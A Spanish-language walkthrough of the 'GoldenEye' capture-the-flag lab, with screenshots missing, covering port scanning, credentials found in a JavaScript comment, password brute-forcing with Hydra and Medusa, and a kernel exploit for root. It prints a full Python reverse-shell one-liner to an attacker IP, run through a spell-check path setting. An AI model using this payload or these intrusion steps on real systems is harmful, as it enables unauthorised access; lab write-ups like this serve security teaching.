Introduction

Bond, James Bond. Un CTF Guiado.
Intro and Enumeration
Esta es la primera parte del reto. En ella se nos pide resolver una serie de cuestiones:
- Usa Nmap para escanear la red en busca de todos los puertos. ¿Cuántos hay abiertos?
Comenzamos realizando el escaneo de puertos que siempre hacemos.

- ¿Quién necesita asegurarse de que actualiza su contraseña por defecto?
Para seguir vamos a escanear dichos puertos más en profundidad.

Vamos a ver qué directorios hay en la web.

No parece haber nada, vamos a ver cómo se ve la web.

Nos están dando un directorio. Pero antes de ir, vamos a mirar el código fuente.

A priori no parece haber nada, pero si nos fijamos hay un script JS que se está cargando, vamos a ver de qué se trata.

En los comentarios del script podemos ver el nombre de esta persona y su contraseña.
- ¿Cuál es su contraseña?
La contraseña parece estar encodeada con entidades HTML combinado con ASCII. Si buscamos la cadena en el navegador se traduce sola.

It's mail time...
Vamos ahora con la segunda parte del reto. En esta se nos dan otra serie de preguntas a resolver.
Si iniciamos sesión en el directorio del login que nos dieron con las credenciales que obtuvimos ganamos acceso a esto:

- Si las credenciales que has obtenido no funcionan (en otros servicios), ¿puedes usar otro programa para encontrar otros usuarios y contraseñas? ¿Puede que Hydra? ¿Cuál es su nueva contraseña?

Parece que boris cambió su contraseña. Vamos a ver si podemos hacer fuerza bruta con Hydra.
Después de mucho rato probando con hydra y que no funcionara, me cansé y decidir probar con otras herramientas que no conocía: medusa y ncrack. Medusa fue mucho más rápida que las otras dos pero los resultados no aparecen como en hydra sino que tienes que buscarlos.

- Inspecciona el puerto 55007, ¿qué servicio está configurado para usar este puerto?
Vamos a iniciar sesión y a ver lo que hay dentro.

- ¿Qué puedes encontrar en este servicio?
Podemos encontrar emails.
- ¿Qué usuario puede romper los códigos de Boris?
Esto lo vimos en el script de la primera parte del reto. Pero se vuelve a repetir, es Natalya.
Después de todo este proceso hemos obtenido una lista de posibles nombres:
- boris
- natalya
- root
- alec
- xenia
- janus
Vamos a hacer una lista con esos nombres y a intentar conseguir sus credenciales.

Por algún motivo que desconozco hydra volvió a funcionar, y no seré yo el que se niegue a usarla xD. Vamos a entrar al correo de natalya.

GoldenEye Operators Training
En esta cuarta parte nos hacen más preguntas, aunque antes nos dicen por activa y por pasiva (tanto en el email como en la room) que necesitamos meter el dominio que nos han dado en el /etc/hosts, así que eso haremos. Una vez hecho procedemos a responder las preguntas.
- ¿Con qué usuario puedes iniciar sesión?
Con xenia, lo vimos en el correo.
- Mira por la web, ¿qué otro usuario puedes ver?
Después de añadir la dirección vamos a la dirección que nos dan.

Allí nos loggeamos.

Ahora toca buscar al otro usuario.

- ¿Cuál es la contraseña de ese usuario?
Vamos a usar hydra de nuevo.

- ¿Cuál es el siguiente usuario que puedes encontrar desde doak?
Si entramos a su correo podemos ver lo siguiente:

Encontrando el usuario y contraseña de la web. Una vez hemos entrado, buscamos en los archivos privados.

- ¿Cuál es la contraseña de este usuario?
Lo hemos visto en el email.
Ahora tenemos que mirar el archivo secreto.

Parece que hay credenciales en un directorio, vamos a ver.

Vamos a analizar la foto.

Encontramos las credenciales. Ahora vamos a iniciar sesión con dicha cuenta.

Nos vamos al editor de texto.

Seleccionamos PSpellShell y guardamos los cambios. Seleccionamos ahora System paths.

Y cambiamos el path de Aspell.

El payload que he usado es:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.196.119",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Lo he sacado de mi generador de reverse shells favorito: revshells.
Ahora añadimos una nueva entrada de blog.

Vamos a ponernos en escucha.

Y ahora escribimos algo en la entrada y le damos al botón de spell check.

Una vez le damos nos carga la shell.

La estabilizamos.

Ahora vamos a la siguiente parte.
Privilege Escalation
En esta última parte del reto nos piden resolver las siguientes cuestiones:
- ¿Cuál es la versión del kernel?
Para esto usamos el comando uname -a.

- ¿Cuál es la flag de root?
Siguiendo nuestra checklist, vemos que hay un exploit del kernel para este.

Nos descargamos el exploit y lo servimos.

Y ahora desde la máquina víctima lo descargamos.

Y lo ejecutamos.

Nos da problemas porque no encuentra gcc.

Sin embargo, clang sí que está instalado, usaremos este. Modificamos el exploit sustituyendo gcc por clang. Utilizamos este comando para ello.

Y lo volvemos a subir.

Y ahora leemos la flag.

Vamos a donde nos dicen.

